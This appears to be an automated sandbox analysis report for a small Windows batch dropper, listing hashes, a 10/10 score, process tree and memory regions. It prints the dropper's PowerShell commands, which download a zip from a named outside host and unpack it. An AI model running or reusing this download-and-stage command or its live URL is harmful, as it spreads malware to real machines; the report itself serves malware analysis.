Analysis

  • max time kernel
    2s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    13/11/2023, 03:34

General

  • Target

    tesy - Copy (7).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2764
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1872
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
        PID:2692

    Network

          MITRE ATT&CK Matrix

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

            Filesize

            7KB

            MD5

            702271944083b5abaff0bf32d1923baf

            SHA1

            46ee6a4c091c04b21870b2430ab5178edcc1e4aa

            SHA256

            8895a2abab4cf80641d728ef2c15bd19558d084ccf7f36b637e8979b3d096361

            SHA512

            29a6a6cd5c1ae7c5c61346f5145b5dae1ec6ea8add499daaa2aee35c6659e6369ae2c5425d5240d0a6be2419b8873892270363ab5a4f04eb3b0ca72943c3a1dd

          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XFZJQ536QZCWYH7JTTXM.temp

            Filesize

            7KB

            MD5

            702271944083b5abaff0bf32d1923baf

            SHA1

            46ee6a4c091c04b21870b2430ab5178edcc1e4aa

            SHA256

            8895a2abab4cf80641d728ef2c15bd19558d084ccf7f36b637e8979b3d096361

            SHA512

            29a6a6cd5c1ae7c5c61346f5145b5dae1ec6ea8add499daaa2aee35c6659e6369ae2c5425d5240d0a6be2419b8873892270363ab5a4f04eb3b0ca72943c3a1dd

          • memory/1872-10-0x0000000002A80000-0x0000000002B00000-memory.dmp

            Filesize

            512KB

          • memory/1872-7-0x0000000002A80000-0x0000000002B00000-memory.dmp

            Filesize

            512KB

          • memory/1872-8-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

            Filesize

            9.6MB

          • memory/1872-4-0x000000001B390000-0x000000001B672000-memory.dmp

            Filesize

            2.9MB

          • memory/1872-9-0x0000000002A80000-0x0000000002B00000-memory.dmp

            Filesize

            512KB

          • memory/1872-11-0x0000000002A80000-0x0000000002B00000-memory.dmp

            Filesize

            512KB

          • memory/1872-13-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

            Filesize

            9.6MB

          • memory/1872-5-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

            Filesize

            32KB

          • memory/1872-6-0x000007FEF5890000-0x000007FEF622D000-memory.dmp

            Filesize

            9.6MB

          • memory/2692-19-0x000000001B300000-0x000000001B5E2000-memory.dmp

            Filesize

            2.9MB

          • memory/2692-21-0x000007FEF4EF0000-0x000007FEF588D000-memory.dmp

            Filesize

            9.6MB

          • memory/2692-22-0x00000000025A0000-0x0000000002620000-memory.dmp

            Filesize

            512KB

          • memory/2692-20-0x0000000002220000-0x0000000002228000-memory.dmp

            Filesize

            32KB

          • memory/2692-23-0x000007FEF4EF0000-0x000007FEF588D000-memory.dmp

            Filesize

            9.6MB

          • memory/2692-24-0x00000000025A0000-0x0000000002620000-memory.dmp

            Filesize

            512KB

          • memory/2692-25-0x00000000025A0000-0x0000000002620000-memory.dmp

            Filesize

            512KB

          • memory/2692-26-0x00000000025A0000-0x0000000002620000-memory.dmp

            Filesize

            512KB

          • memory/2692-27-0x000007FEF4EF0000-0x000007FEF588D000-memory.dmp

            Filesize

            9.6MB